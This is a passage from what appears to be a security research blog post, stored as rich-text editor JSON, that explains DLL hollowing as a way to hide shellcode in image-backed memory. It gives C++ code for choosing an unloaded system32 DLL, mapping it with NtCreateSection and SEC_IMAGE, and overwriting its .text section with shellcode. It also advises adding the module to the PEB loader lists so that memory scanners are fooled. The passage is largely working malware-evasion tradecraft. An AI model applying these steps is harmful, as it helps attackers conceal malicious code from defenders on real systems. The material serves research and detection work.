memory.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":96,"length":33,"style":"UNDERLINE"},{"offset":134,"length":32,"style":"UNDERLINE"},{"offset":276,"length":10,"style":"ITALIC"},{"offset":291,"length":11,"style":"ITALIC"}],"entityRanges":[{"offset":96,"length":33,"key":19},{"offset":134,"length":32,"key":20}],"data":{}},{"key":"ceisf","text":"","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"ecdv4","text":"DLL hollowing","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"6s3l9","text":"With these concepts in mind, it's clear that masking malware in memory means utilizing +RX image memory, in particular the .text section of a mapped image view. The primary caveat to this is that such memory cannot be directly allocated, nor can existing memory be modified to mimic these attributes. Only the PTE which stores the active page permissions is mutable, while the VAD and section object control area which mark the region as image memory and associate it to its underlying DLL on disk are immutable. For this reason, properly implementing a DLL hollowing attack implies infection of a mapped view generated from a real DLL file on disk. Such DLL files should have a .text section with a IMAGE_SECTION_HEADER.Misc.VirtualSize greater than or equal to the size of the shellcode being implanted, and should not yet be loaded into the target process as this implies their modification could result in a crash.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":87,"length":3,"style":"ITALIC"},{"offset":123,"length":5,"style":"ITALIC"},{"offset":679,"length":5,"style":"ITALIC"},{"offset":700,"length":37,"style":"ITALIC"},{"offset":123,"length":5,"style":"BOLD"},{"offset":679,"length":5,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"7cf7","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"1ur8f","text":"GetSystemDirectoryW(SearchFilePath, MAX_PATH);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":46,"style":"ITALIC"},{"offset":0,"length":46,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"6f1d8","text":"wcscat_s(SearchFilePath, MAX_PATH, L\"\\\\*.dll\");","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":47,"style":"ITALIC"},{"offset":0,"length":47,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"7him0","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"3kfga","text":"if ((hFind = FindFirstFileW(SearchFilePath, &Wfd)) != INVALID_HANDLE_VALUE) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":77,"style":"ITALIC"},{"offset":0,"length":77,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dmshl","text":"    do {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":8,"style":"ITALIC"},{"offset":0,"length":8,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"5hbr8","text":"\tif (GetModuleHandleW(Wfd.cFileName) == nullptr) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":50,"style":"ITALIC"},{"offset":0,"length":50,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"d60h0","text":"            ...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":15,"style":"ITALIC"},{"offset":0,"length":15,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dpoje","text":"\t}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":2,"style":"ITALIC"},{"offset":0,"length":2,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"45fdm","text":"   }    ","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":8,"style":"ITALIC"},{"offset":0,"length":8,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"6ro5h","text":"   while (!bMapped && FindNextFileW(hFind, &Wfd));","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":50,"style":"ITALIC"},{"offset":0,"length":50,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"95mb8","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"sfg7","text":"   FindClose(hFind);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"ITALIC"},{"offset":0,"length":20,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"da8an","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"ITALIC"},{"offset":0,"length":1,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"9qbap","text":"\nIn this code snippet I’ve enumerated files with a .dll extension in system32 and am ensuring they are not already loaded into my process using KERNEL32.DLL!GetModuleFileNameW, which walks the PEB loaded modules list and returns their base address (the same thing as their module handle) if a name match is found. In order to create a section from the image I first need to open a handle to it. I’ll discuss TxF in the next section, but for the sake of this code walkthrough we can assume KERNEL.DLL!CreateFileW is used. Upon opening this handle I can read the contents of the PE and validate its headers, particularly its IMAGE_SECTION_HEADER.Misc.VirtualSize field which indicates a sufficient size for my shellcode.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":51,"length":4,"style":"BOLD"},{"offset":51,"length":4,"style":"ITALIC"},{"offset":623,"length":37,"style":"ITALIC"},{"offset":144,"length":31,"style":"UNDERLINE"},{"offset":408,"length":3,"style":"UNDERLINE"},{"offset":489,"length":22,"style":"UNDERLINE"}],"entityRanges":[{"offset":144,"length":31,"key":21},{"offset":408,"length":3,"key":22},{"offset":489,"length":22,"key":23}],"data":{}},{"key":"2j0fk","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"fr6fi","text":"uint32_t dwFileSize = GetFileSize(hFile, nullptr);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":50,"style":"ITALIC"},{"offset":0,"length":50,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"974eb","text":"uint32_t dwBytesRead = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":25,"style":"ITALIC"},{"offset":0,"length":25,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"3uj6g","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"bcfcj","text":"pFileBuf = new uint8_t[dwFileSize];","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":35,"style":"ITALIC"},{"offset":0,"length":35,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"66j41","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"ecv10","text":"if (ReadFile(hFile, pFileBuf, dwFileSize, (PDWORD)& dwBytesRead, nullptr)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":76,"style":"ITALIC"},{"offset":0,"length":76,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"aaqin","text":"    SetFilePointer(hFile, 0, nullptr, FILE_BEGIN);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":50,"style":"ITALIC"},{"offset":0,"length":50,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"ep4fj","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8c5dl","text":"    IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pFileBuf;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":60,"style":"ITALIC"},{"offset":0,"length":60,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"ejkqe","text":"    IMAGE_NT_HEADERS* pNtHdrs = (IMAGE_NT_HEADERS*)(pFileBuf + pDosHdr-\u003Ee_lfanew);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":82,"style":"ITALIC"},{"offset":0,"length":82,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"caoeg","text":"    IMAGE_SECTION_HEADER* pSectHdrs = (IMAGE_SECTION_HEADER*)((uint8_t*)& pNtHdrs-\u003EOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":131,"style":"ITALIC"},{"offset":0,"length":131,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"bdsv8","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"cf5mt","text":"    if (pNtHdrs-\u003EOptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":71,"style":"ITALIC"},{"offset":0,"length":71,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"8oja1","text":"        if (dwReqBufSize \u003C pNtHdrs-\u003EOptionalHeader.SizeOfImage && (_stricmp((char*)pSectHdrs-\u003EName, \".text\") == 0 && dwReqBufSize \u003C pSectHdrs-\u003EMisc.VirtualSize))","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":161,"style":"ITALIC"},{"offset":0,"length":161,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"8klnm","text":"            ...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":15,"style":"ITALIC"},{"offset":0,"length":15,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"9fi4a","text":"        }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":9,"style":"ITALIC"},{"offset":0,"length":9,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"24v56","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"ITALIC"},{"offset":0,"length":5,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"795t8","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"4nbh7","text":"    ...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":7,"style":"ITALIC"},{"offset":0,"length":7,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"domcc","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"ITALIC"},{"offset":0,"length":1,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"6ubs","text":"\nWhen a valid PE is found a section can be created from its file handle, and a view of it mapped to the local process memory space.","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"ctni3","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8b0nb","text":"HANDLE hSection = nullptr;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":26,"style":"#92908d"},{"offset":0,"length":26,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3l13b","text":"NtStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, hFile);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":109,"style":"#92908d"},{"offset":0,"length":109,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5do2l","text":"if (NT_SUCCESS(NtStatus)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"936en","text":"    *pqwMapBufSize = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":23,"style":"#92908d"},{"offset":0,"length":23,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"8iur2","text":"    NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, nullptr, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":143,"style":"#92908d"},{"offset":0,"length":143,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5bjm4","text":"    ...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":7,"style":"#92908d"},{"offset":0,"length":7,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"cje7s","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"cc60e","text":"\nThe unique characteristic essential to this technique is the use of the SEC_IMAGE flag to NTDLL.DLL!NtCreateSection. When this flag is used, the initial permissions parameter is ignored (all mapped images end up with an initial allocation permission of +RWXC). Also worth noting is that the PE itself is validated by NTDLL.DLL!NtCreateSection at this stage, and if it is invalid in any way NTDLL.DLL!NtCreateSection will fail (typically with error 0xc0000005).","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":73,"length":9,"style":"BOLD"},{"offset":449,"length":10,"style":"BOLD"},{"offset":73,"length":9,"style":"ITALIC"},{"offset":254,"length":5,"style":"ITALIC"},{"offset":449,"length":10,"style":"ITALIC"},{"offset":91,"length":25,"style":"UNDERLINE"},{"offset":318,"length":25,"style":"UNDERLINE"},{"offset":391,"length":25,"style":"UNDERLINE"}],"entityRanges":[{"offset":91,"length":25,"key":24},{"offset":318,"length":25,"key":25},{"offset":391,"length":25,"key":26}],"data":{}},{"key":"apavt","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8me97","text":"Finally, the region of memory corresponding to the .text section in the mapped view can be modified and implanted with the shellcode.\n","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"6aip2","text":"*ppMappedCode = *ppMapBuf + pSectHdrs-\u003EVirtualAddress + dwCodeRva;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":66,"style":"#92908d"},{"offset":0,"length":66,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2a9p1","text":"if (!bTxF) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":12,"style":"#92908d"},{"offset":0,"length":12,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"6u44i","text":"    uint32_t dwOldProtect = 0;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":30,"style":"#92908d"},{"offset":0,"length":30,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"dr0at","text":"    if (VirtualProtect(*ppMappedCode, dwReqBufSize, PAGE_READWRITE, (PDWORD)& dwOldProtect)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":94,"style":"#92908d"},{"offset":0,"length":94,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2lsj","text":"\tmemcpy(*ppMappedCode, pCodeBuf, dwReqBufSize);","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":47,"style":"#92908d"},{"offset":0,"length":47,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"85s30","text":"\tif (VirtualProtect(*ppMappedCode, dwReqBufSize, dwOldProtect, (PDWORD)& dwOldProtect)) {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":89,"style":"#92908d"},{"offset":0,"length":89,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ep325","text":"\t    bMapped = true;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":20,"style":"#92908d"},{"offset":0,"length":20,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"7l823","text":"\t}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":2,"style":"#92908d"},{"offset":0,"length":2,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"adjcl","text":"    }","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":5,"style":"#92908d"},{"offset":0,"length":5,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"3pgjh","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"75p06","text":"else {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"#92908d"},{"offset":0,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"4qe6p","text":"    bMapped = true;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":19,"style":"#92908d"},{"offset":0,"length":19,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fmkfa","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"#92908d"},{"offset":0,"length":1,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"asgp3","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"qf98","text":"Once the image section has been generated and a view of it has been mapped into the process memory space, it will share many characteristics in common with a module legitimately loaded via NTDLL.DLL!LdrLoadDll but with several key differences:","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":189,"length":20,"style":"UNDERLINE"}],"entityRanges":[{"offset":189,"length":20,"key":27}],"data":{}},{"key":"8g9da","text":"Relocations will be applied, but imports will not yet be resolved.","type":"unordered-list-item","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"7crr","text":"The module will not have been added to the loaded modules list in usermode process memory.","type":"unordered-list-item","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"c8agu","text":"The loaded modules list is referenced in the LoaderData field of the PEB:\n","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":45,"length":10,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"cpfb3","text":"typedef struct _PEB {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":21,"style":"ITALIC"},{"offset":0,"length":21,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"ke5v","text":"\tBOOLEAN                 InheritedAddressSpace; \u002F\u002F 0x0","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":54,"style":"ITALIC"},{"offset":0,"length":54,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"4q3pc","text":"\tBOOLEAN                 ReadImageFileExecOptions; \u002F\u002F 0x1","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":57,"style":"ITALIC"},{"offset":0,"length":57,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"59ivm","text":"\tBOOLEAN                 BeingDebugged; \u002F\u002F 0x2","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":46,"style":"ITALIC"},{"offset":0,"length":46,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"73nrf","text":"\tBOOLEAN                 Spare; \u002F\u002F 0x3","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":38,"style":"ITALIC"},{"offset":0,"length":38,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"ddik3","text":"#ifdef _WIN64","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":13,"style":"ITALIC"},{"offset":0,"length":13,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dv5jr","text":"\tuint8_t                    Padding1[4];","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":40,"style":"ITALIC"},{"offset":0,"length":40,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"cd7ac","text":"#endif","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":6,"style":"ITALIC"},{"offset":0,"length":6,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dbsc8","text":"\tHANDLE                  Mutant; \u002F\u002F 0x4 \u002F 0x8","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":45,"style":"ITALIC"},{"offset":0,"length":45,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"bigue","text":"\tvoid *                  ImageBase; \u002F\u002F 0x8 \u002F 0x10","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":49,"style":"ITALIC"},{"offset":0,"length":49,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"4pa4c","text":"\tPPEB_LDR_DATA           LoaderData; \u002F\u002F 0xC \u002F 0x18","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":50,"style":"ITALIC"},{"offset":0,"length":50,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"dos0p","text":"...","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":3,"style":"ITALIC"},{"offset":0,"length":3,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"6h414","text":"}","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":1,"style":"ITALIC"},{"offset":0,"length":1,"style":"#92908d"}],"entityRanges":[],"data":{}},{"key":"86d9q","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"70i48","text":"There are three such lists, all representing the same modules in a different ordering. ","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"dvikb","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"b2ue0","text":"typedef struct _LDR_MODULE {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":28,"style":"#92908d"},{"offset":0,"length":28,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ntpj","text":"\tLIST_ENTRY              InLoadOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":47,"style":"#92908d"},{"offset":0,"length":47,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"8nep9","text":"\tLIST_ENTRY              InMemoryOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":49,"style":"#92908d"},{"offset":0,"length":49,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"40ne3","text":"\tLIST_ENTRY              InInitializationOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":57,"style":"#92908d"},{"offset":0,"length":57,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9pfs","text":"\tvoid *                  BaseAddress;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":37,"style":"#92908d"},{"offset":0,"length":37,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"c1u3c","text":"\tvoid *                  EntryPoint;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":36,"style":"#92908d"},{"offset":0,"length":36,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"166r","text":"\tULONG                   SizeOfImage;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":37,"style":"#92908d"},{"offset":0,"length":37,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2mjmv","text":"\tUNICODE_STRING          FullDllName;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":37,"style":"#92908d"},{"offset":0,"length":37,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"eljgh","text":"\tUNICODE_STRING          BaseDllName;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":37,"style":"#92908d"},{"offset":0,"length":37,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"d0jeq","text":"\tULONG                   Flags;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":31,"style":"#92908d"},{"offset":0,"length":31,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"19qe5","text":"\tSHORT                   LoadCount;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":35,"style":"#92908d"},{"offset":0,"length":35,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ag46h","text":"\tSHORT                   TlsIndex;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":34,"style":"#92908d"},{"offset":0,"length":34,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"8g302","text":"\tLIST_ENTRY              HashTableEntry;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":40,"style":"#92908d"},{"offset":0,"length":40,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"2evj5","text":"\tULONG                   TimeDateStamp;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":39,"style":"#92908d"},{"offset":0,"length":39,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"13a9v","text":"} LDR_MODULE, *PLDR_MODULE;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":27,"style":"#92908d"},{"offset":0,"length":27,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"16emu","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"80ncu","text":"typedef struct _PEB_LDR_DATA {","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":30,"style":"#92908d"},{"offset":0,"length":30,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5ggku","text":"\tULONG                   Length;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":32,"style":"#92908d"},{"offset":0,"length":32,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"5fven","text":"\tULONG                   Initialized;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":37,"style":"#92908d"},{"offset":0,"length":37,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"9j9up","text":"\tvoid *                  SsHandle;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":34,"style":"#92908d"},{"offset":0,"length":34,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"frg3s","text":"\tLIST_ENTRY              InLoadOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":47,"style":"#92908d"},{"offset":0,"length":47,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"c535v","text":"\tLIST_ENTRY              InMemoryOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":49,"style":"#92908d"},{"offset":0,"length":49,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"fttcl","text":"\tLIST_ENTRY              InInitializationOrderModuleList;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":57,"style":"#92908d"},{"offset":0,"length":57,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"ad3g8","text":"} PEB_LDR_DATA, *PPEB_LDR_DATA;","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":0,"length":31,"style":"#92908d"},{"offset":0,"length":31,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"a1mgj","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"45pnc","text":"It’s important to note that to avoid leaving suspicious memory artifacts behind, an attacker should add their module to all three of the lists. In Figure 3 (shown below) I’ve executed my hollower PoC without modifying the loaded modules list in the PEB to reflect the addition of the selected hollowing module (aadauthhelper.dll).","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":147,"length":9,"style":"BOLD"},{"offset":311,"length":17,"style":"BOLD"},{"offset":147,"length":9,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"c1bvd","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"8r5ru","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":28}],"data":{}},{"key":"5o1vm","text":"Using x64dbg to view the memory allocated for the aadauthhelper.dll base at 0x00007ffd326a0000 we can see that despite its IMG tag, it looks distinctly different from the other IMG module memory surrounding it.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":6,"length":6,"style":"UNDERLINE"},{"offset":50,"length":17,"style":"BOLD"},{"offset":76,"length":18,"style":"ITALIC"}],"entityRanges":[{"offset":6,"length":6,"key":29}],"data":{}},{"key":"7oru4","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":30}],"data":{}},{"key":"m3l1","text":"This is because the association between a region of image memory and its module is inferred rather than explicitly recorded. In this case, x64dbg is scanning the aforementioned PEB loaded modules list for an entry with a BaseAddress of 0x00007ffd326a0000 and upon not finding one, does not associate a name with the region or associate its subsections with the sections from its PE header. Upon adding aadauthhelper.dll to the loaded modules lists, x64dbg shows the region as if it corresponded to a legitimately loaded module.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":139,"length":6,"style":"UNDERLINE"},{"offset":449,"length":6,"style":"UNDERLINE"},{"offset":220,"length":12,"style":"BOLD"},{"offset":402,"length":18,"style":"BOLD"},{"offset":235,"length":19,"style":"ITALIC"}],"entityRanges":[{"offset":139,"length":6,"key":31},{"offset":449,"length":6,"key":32}],"data":{}},{"key":"ff8eb","text":" ","type":"atomic","depth":0,"inlineStyleRanges":[],"entityRanges":[{"offset":0,"length":1,"key":33}],"data":{}},{"key":"3lfva","text":"Comparing this artificial module (implanted with shellcode) with a legitimately loaded aadauthhelper.dll we can see there is no difference from the perspective of a memory scanner. Only once we view the .text sections in memory and compare them between the legitimate and hollowed versions of aadauthhelper.dll can we see the difference.","type":"unstyled","depth":0,"inlineStyleRanges":[{"offset":87,"length":17,"style":"BOLD"},{"offset":203,"length":6,"style":"BOLD"},{"offset":293,"length":17,"style":"BOLD"},{"offset":203,"length":6,"style":"ITALIC"}],"entityRanges":[],"data":{}},{"key":"di7op","text":"","type":"unstyled","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}},{"key":"13chl","text":"Phantom hollowing","type":"header-three","depth":0,"inlineStyleRanges":[{"offset":0,"length":17,"style":"BOLD"}],"entityRanges":[],"data":{}},{"key":"928r4","text":"DLL hollowing does in of itself represent a major leap forward in malware design. Notably though, the +RX characteristic of the .text section conventionally forces the attacker into a position of manually modifying this 